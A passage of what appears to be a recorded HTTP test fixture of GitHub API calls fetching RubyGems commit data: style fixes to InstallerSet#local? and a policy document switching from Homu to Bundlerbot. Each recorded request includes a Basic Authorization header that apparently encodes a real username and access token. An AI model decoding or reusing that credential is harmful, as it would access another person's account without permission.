nts{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"2a622326b830a50bf8d94c068fcbc74dd12a7cf1","url":"https://api.github.com/repos/rubygems/rubygems/commits/2a622326b830a50bf8d94c068fcbc74dd12a7cf1","html_url":"https://github.com/rubygems/rubygems/commit/2a622326b830a50bf8d94c068fcbc74dd12a7cf1"},{"sha":"e13e2b70937976795c6784d8851e2df03ea88720","url":"https://api.github.com/repos/rubygems/rubygems/commits/e13e2b70937976795c6784d8851e2df03ea88720","html_url":"https://github.com/rubygems/rubygems/commit/e13e2b70937976795c6784d8851e2df03ea88720"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"f24293c0a03ee4442e9bc391e956d06f8b016e88","filename":"lib/rubygems/resolver/installer_set.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/097222bccc62501eac184d0c138284c6c881ff66/lib/rubygems/resolver/installer_set.rb","raw_url":"https://github.com/rubygems/rubygems/raw/097222bccc62501eac184d0c138284c6c881ff66/lib/rubygems/resolver/installer_set.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/resolver/installer_set.rb?ref=097222bccc62501eac184d0c138284c6c881ff66","patch":"@@ -193,7 +193,7 @@ def load_spec name, ver, platform, source # :nodoc:\n # Has a local gem for +dep_name+ been added to this set?\n \n def local? dep_name # :nodoc:\n- spec, = @local[dep_name]\n+ spec, _ = @local[dep_name]\n \n spec\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:20 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/2a622326b830a50bf8d94c068fcbc74dd12a7cf1 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:20 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4359' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"f95be4a1e3bfe3447e40253e0d37de7d" Last-Modified: - Tue, 08 Aug 2017 21:59:48 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.040579' X-Github-Request-Id: - A362:4D95:F48A75:1C84ECC:5A50E484 body: encoding: ASCII-8BIT string: '{"sha":"2a622326b830a50bf8d94c068fcbc74dd12a7cf1","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-08T21:59:48Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-08T21:59:48Z"},"message":"Auto merge of #1964 - alyssais:patch-1, r=duckinator\n\nFix links in Policies document\n\n# Description:\n\nThis is an RDoc document, but these links were in Markdown syntax.\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"65ff3ed536d6bb86469d4b07b9ad14bae7f5b67b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/65ff3ed536d6bb86469d4b07b9ad14bae7f5b67b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2a622326b830a50bf8d94c068fcbc74dd12a7cf1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2a622326b830a50bf8d94c068fcbc74dd12a7cf1","html_url":"https://github.com/rubygems/rubygems/commit/2a622326b830a50bf8d94c068fcbc74dd12a7cf1","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2a622326b830a50bf8d94c068fcbc74dd12a7cf1/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","url":"https://api.github.com/repos/rubygems/rubygems/commits/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","html_url":"https://github.com/rubygems/rubygems/commit/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e"},{"sha":"995ddc90640f6f7cf02ab3c8b2b69ffa424ed069","url":"https://api.github.com/repos/rubygems/rubygems/commits/995ddc90640f6f7cf02ab3c8b2b69ffa424ed069","html_url":"https://github.com/rubygems/rubygems/commit/995ddc90640f6f7cf02ab3c8b2b69ffa424ed069"}],"stats":{"total":6,"additions":3,"deletions":3},"files":[{"sha":"53cc5ae37ebc928054866d7829b5c7f219074250","filename":"POLICIES.rdoc","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/2a622326b830a50bf8d94c068fcbc74dd12a7cf1/POLICIES.rdoc","raw_url":"https://github.com/rubygems/rubygems/raw/2a622326b830a50bf8d94c068fcbc74dd12a7cf1/POLICIES.rdoc","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/POLICIES.rdoc?ref=2a622326b830a50bf8d94c068fcbc74dd12a7cf1","patch":"@@ -2,14 +2,14 @@\n \n Contributions to RubyGems are made via GitHub pull requests, which must be\n approved by a project committer other than the author. To approve a PR, a\n-maintainer can leave a comment including the text \"@homu r+\", indicating that\n-they have reviewed the PR and approve it. [Homu](http://homu.io) will then\n+maintainer can leave a comment including the text \"@bundlerbot r+\", indicating that\n+they have reviewed the PR and approve it. Bundlerbot will then\n automatically create a merge commit, test the merge, and land the PR if the\n merge commit passes the tests.\n \n This process guarantees that our release branches always have passing tests,\n and reduces siloing of information to a single contributor. For a full list of\n-possible commands, see [the Homu documentation](http://homu.io).\n+possible commands, see {the Bundlerbot documentation}[https://bundlerbot-homu.herokuapp.com/].\n \n == Long-Term Support\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:20 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/e13e2b70937976795c6784d8851e2df03ea88720 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:20 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4358' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"dd7b4ddc8d88c67baeea1d0f0fbb9446" Last-Modified: - Tue, 08 Aug 2017 21:41:03 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.039798' X-Github-Request-Id: - A364:4D97:903D9F:1C48AC7:5A50E484 body: encoding: ASCII-8BIT string: '{"sha":"e13e2b70937976795c6784d8851e2df03ea88720","commit":{"author":{"name":"Arthur Marzinkovskiy","email":"deimoss42@gmail.com","date":"2017-08-08T21:41:03Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-08-08T21:41:03Z"},"message":"Fix style issues in InstallerSet#local?\n\n[+] Add throwaway variable _ to make intention of getting only the spec clearer.","tree":{"sha":"f4311f1ba215bd7d923f98d27b0ad3e36ae83f7f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f4311f1ba215bd7d923f98d27b0ad3e36ae83f7f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/e13e2b70937976795c6784d8851e2df03ea88720","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/e13e2b70937976795c6784d8851e2df03ea88720","html_url":"https://github.com/rubygems/rubygems/commit/e13e2b70937976795c6784d8851e2df03ea88720","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/e13e2b70937976795c6784d8851e2df03ea88720/comments","author":{"login":"arthur-marz","id":12122094,"avatar_url":"https://avatars3.githubusercontent.com/u/12122094?v=4","gravatar_id":"","url":"https://api.github.com/users/arthur-marz","html_url":"https://github.com/arthur-marz","followers_url":"https://api.github.com/users/arthur-marz/followers","following_url":"https://api.github.com/users/arthur-marz/following{/other_user}","gists_url":"https://api.github.com/users/arthur-marz/gists{/gist_id}","starred_url":"https://api.github.com/users/arthur-marz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arthur-marz/subscriptions","organizations_url":"https://api.github.com/users/arthur-marz/orgs","repos_url":"https://api.github.com/users/arthur-marz/repos","events_url":"https://api.github.com/users/arthur-marz/events{/privacy}","received_events_url":"https://api.github.com/users/arthur-marz/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"c73223fa641a249a0b333e80cd88e8b80f0b761b","url":"https://api.github.com/repos/rubygems/rubygems/commits/c73223fa641a249a0b333e80cd88e8b80f0b761b","html_url":"https://github.com/rubygems/rubygems/commit/c73223fa641a249a0b333e80cd88e8b80f0b761b"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"f24293c0a03ee4442e9bc391e956d06f8b016e88","filename":"lib/rubygems/resolver/installer_set.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/e13e2b70937976795c6784d8851e2df03ea88720/lib/rubygems/resolver/installer_set.rb","raw_url":"https://github.com/rubygems/rubygems/raw/e13e2b70937976795c6784d8851e2df03ea88720/lib/rubygems/resolver/installer_set.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/resolver/installer_set.rb?ref=e13e2b70937976795c6784d8851e2df03ea88720","patch":"@@ -193,7 +193,7 @@ def load_spec name, ver, platform, source # :nodoc:\n # Has a local gem for +dep_name+ been added to this set?\n \n def local? dep_name # :nodoc:\n- spec = @local[dep_name]\n+ spec, _ = @local[dep_name]\n \n spec\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:20 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/c73223fa641a249a0b333e80cd88e8b80f0b761b body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:21 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4357' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"ba0f57eb11cf4192f7c0c053f47d6078" Last-Modified: - Tue, 08 Aug 2017 15:58:33 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.041998' X-Github-Request-Id: - A366:4D97:903DA6:1C48AE9:5A50E484 body: encoding: ASCII-8BIT string: '{"sha":"c73223fa641a249a0b333e80cd88e8b80f0b761b","commit":{"author":{"name":"Arthur Marzinkovskiy","email":"deimoss42@gmail.com","date":"2017-08-08T15:58:33Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-08-08T15:58:33Z"},"message":"Small style fixes to Installer Set\n\n[-] Remove redundant comma from InstallerSet#local?","tree":{"sha":"736f54b33c1b38dd36171a379a3df7aa70bb7844","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/736f54b33c1b38dd36171a379a3df7aa70bb7844"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/c73223fa641a249a0b333e80cd88e8b80f0b761b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/c73223fa641a249a0b333e80cd88e8b80f0b761b","html_url":"https://github.com/rubygems/rubygems/commit/c73223fa641a249a0b333e80cd88e8b80f0b761b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/c73223fa641a249a0b333e80cd88e8b80f0b761b/comments","author":{"login":"arthur-marz","id":12122094,"avatar_url":"https://avatars3.githubusercontent.com/u/12122094?v=4","gravatar_id":"","url":"https://api.github.com/users/arthur-marz","html_url":"https://github.com/arthur-marz","followers_url":"https://api.github.com/users/arthur-marz/followers","following_url":"https://api.github.com/users/arthur-marz/following{/other_user}","gists_url":"https://api.github.com/users/arthur-marz/gists{/gist_id}","starred_url":"https://api.github.com/users/arthur-marz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arthur-marz/subscriptions","organizations_url":"https://api.github.com/users/arthur-marz/orgs","repos_url":"https://api.github.com/users/arthur-marz/repos","events_url":"https://api.github.com/users/arthur-marz/events{/privacy}","received_events_url":"https://api.github.com/users/arthur-marz/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","url":"https://api.github.com/repos/rubygems/rubygems/commits/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","html_url":"https://github.com/rubygems/rubygems/commit/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"4bc43ac6761ede63f0460133f152bc298dafee6b","filename":"lib/rubygems/resolver/installer_set.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/c73223fa641a249a0b333e80cd88e8b80f0b761b/lib/rubygems/resolver/installer_set.rb","raw_url":"https://github.com/rubygems/rubygems/raw/c73223fa641a249a0b333e80cd88e8b80f0b761b/lib/rubygems/resolver/installer_set.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/resolver/installer_set.rb?ref=c73223fa641a249a0b333e80cd88e8b80f0b761b","patch":"@@ -193,7 +193,7 @@ def load_spec name, ver, platform, source # :nodoc:\n # Has a local gem for +dep_name+ been added to this set?\n \n def local? dep_name # :nodoc:\n- spec, = @local[dep_name]\n+ spec = @local[dep_name]\n \n spec\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:21 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/995ddc90640f6f7cf02ab3c8b2b69ffa424ed069 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:21 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4356' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"892c7e9109d7c27ec5dd6e741c3ec467" Last-Modified: - Sun, 06 Aug 2017 17:58:37 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.060012' X-Github-Request-Id: - A368:4D94:4F036E:B30B68:5A50E485 body: encoding: ASCII-8BIT string: !binary |- eyJzaGEiOiI5OTVkZGM5MDY0MGY2ZjdjZjAyYWIzYzhiMmI2OWZmYTQyNGVkMDY5IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiQWx5c3NhIFJvc3MiLCJlbWFpbCI6ImhpQGFseXNzYS5pcyIsImRhdGUiOiIyMDE3LTA4LTA2VDE3OjUxOjAzWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IkFseXNzYSBSb3NzIiwiZW1haWwiOiJoaUBhbHlzc2EuaXMiLCJkYXRlIjoiMjAxNy0wOC0wNlQxNzo1ODozN1oifSwibWVzc2FnZSI6IlBvbGljaWVzOiBIb211IOKGkiBCdW5kbGVyYm90IiwidHJlZSI6eyJzaGEiOiJjOGI3MjRiYjFiNDgzOTQxNzcxODY0ZjMzODY3MzE1ZDNjZDE5Mjk5IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvYzhiNzI0YmIxYjQ4Mzk0MTc3MTg2NGYzMzg2NzMxNWQzY2QxOTI5OSJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzk5NWRkYzkwNjQwZjZmN2NmMDJhYjNjOGIyYjY5ZmZhNDI0ZWQwNjkiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblxuaVFKQkJBQUJDZ0FyRmlFRUxNcG9KTHFmZy9LZkE2WTQ1OXpGWnZtamJUQUZBbG1IV004TkhHaHBRR0ZzZVhOelxuWVM1cGN3QUtDUkRuM01WbSthTnRNSldzRC8wYThzVnZWMDRvQm1aZXZrKzdGR2pjNDc3TlNWazc3SCs3akNqYVxuOHVIS0dydVI2eHhQTkZIbVd4K2JYK2dGbVk4YURvaXRoR01ZVjgzNXVjSWZwa3ROZzNpaDlKelZqdll4aDFRNlxuZ3JJZ0V2SU9RU3VPZEZFZnF6bUkyNUlDSlZoQzBqVVI2TGtUTjM1blNQaUNCMmdtSm5kQmNmMEoyc3FFMXZySlxuNkw3Tk1SRzc4MThxRTI1Y1pFVVF1b3crZVZvKzlOVlpCbXV0MEdrOVdqNFF1TW5VOHRraW82UVZCOEk3WExRS1xuSUV0a1QyY3o0dzZicEtlR3R2cEF0Sm5lZEx0d2V2T080SDZLVjg4S2thKzlQbFAwZVpBeUgzajhxSVZOOXN2dFxuT00zZS9GVGhuNDhObUxHMkFRSzRhbU54U0s5c3VFRVliZkZ4YmM4QVdNUHdGbnpsVzVIQTFGSDI4WFJsYmx1V1xuU3RsNkM5ajRMU0xCK2pVbEpnbWtmVFNUbHM0R0I4OThaNmhvQ1N4V3pPbEttOGFCUUZCaWRxNS9WbmhSejM5T1xucWgrbkUxUGcxMFM1QUJDakJwMWxPcnU5NG9SZlU2K1VRUHV0Nmhpa3hmblQzM3hqckhjcGtkWHVtVTNrKzJCb1xuWjFnSVpkMDZGSjFoQzJKZW41aWI4VFUweUd6NW8ydGIzb0NIYmlNYXBXYllwaERkcTVIUVJKSnpqNnRMNE1MSlxuT0JqSXA0TytVZmlBQVJCcTFMWEUvTTgwQUVaVG15WUQ2T0owNU5kTGorTEZyZ2didEE3dUZLamF4azIyYU1BSFxuKzBpZ2d2Mk1rOG9PVTFnR3F1OFlpTjNXK0QwNkQ4MHh6SGtPT2FkN1NBVW5rUGo3dG5jU1ZGTHFISW1mZXRWcVxuNXBveVVnPT1cbj1XWkNvXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSBjOGI3MjRiYjFiNDgzOTQxNzcxODY0ZjMzODY3MzE1ZDNjZDE5Mjk5XG5wYXJlbnQgMjBlYjRlYjgyYTgyNzBiOGVjY2Q5MDI4YzVhOTcyMjQ5MzMyZTUxY1xuYXV0aG9yIEFseXNzYSBSb3NzIDxoaUBhbHlzc2EuaXM+IDE1MDIwNDE4NjMgKzAxMDBcbmNvbW1pdHRlciBBbHlzc2EgUm9zcyA8aGlAYWx5c3NhLmlzPiAxNTAyMDQyMzE3ICswMTAwXG5cblBvbGljaWVzOiBIb211IOKGkiBCdW5kbGVyYm90XG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy85OTVkZGM5MDY0MGY2ZjdjZjAyYWIzYzhiMmI2OWZmYTQyNGVkMDY5IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0Lzk5NWRkYzkwNjQwZjZmN2NmMDJhYjNjOGIyYjY5ZmZhNDI0ZWQwNjkiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvOTk1ZGRjOTA2NDBmNmY3Y2YwMmFiM2M4YjJiNjlmZmE0MjRlZDA2OS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImFseXNzYWlzIiwiaWQiOjI3Njg4NzAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzI3Njg4NzA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FseXNzYWlzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYWx5c3NhaXMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbHlzc2Fpcy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbHlzc2Fpcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbHlzc2Fpcy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWx5c3NhaXMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbHlzc2Fpcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FseXNzYWlzL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FseXNzYWlzL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWx5c3NhaXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FseXNzYWlzL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJhbHlzc2FpcyIsImlkIjoyNzY4ODcwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8yNzY4ODcwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbHlzc2FpcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2FseXNzYWlzIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWx5c3NhaXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWx5c3NhaXMvZm9sbG93aW5ney9vdG